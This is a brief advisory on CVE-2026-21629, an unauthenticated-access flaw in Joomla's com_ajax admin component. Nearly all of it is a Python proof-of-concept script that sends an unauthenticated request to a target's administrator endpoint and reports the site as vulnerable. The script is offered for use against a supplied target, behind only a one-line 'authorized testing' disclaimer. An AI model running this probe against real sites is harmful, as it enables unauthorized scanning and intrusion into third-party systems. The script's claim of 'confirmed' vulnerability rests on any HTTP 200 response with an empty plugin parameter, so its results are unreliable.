The ajax component was excluded from the default logged-in-user check in the administrative area. This behavior was potentially unexpected by 3rd party developers.
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-21629: Joomla AJAX Unauthenticated Access
import requests
def check_vulnerability(target_url):
"""Checks if the target Joomla site is vulnerable to unauthenticated AJAX access."""
# The vulnerable endpoint is typically the administrator component
ajax_endpoint = f"{target_url}/administrator/index.php"
# Payload parameters targeting the ajax component
# Note: Specific plugin/module parameters depend on installed extensions
params = {
"option": "com_ajax",
"format": "json",
"plugin": "" # Plugin name may vary based on 3rd party usage
}
try:
# Sending request without authentication cookies
response = requests.get(ajax_endpoint, params=params, timeout=10)
# Analyzing response
if response.status_code == 200:
print("[+] Potential vulnerability confirmed!")
print(f"[+] Response Body: {response.text[:200]}")
else:
print("[-] Target may not be vulnerable or request blocked.")
except requests.exceptions.RequestException as e:
print(f"[!] Error connecting to target: {e}")
if __name__ == "__main__":
target = "http://example-joomla-site.com" # Replace with actual target
check_vulnerability(target)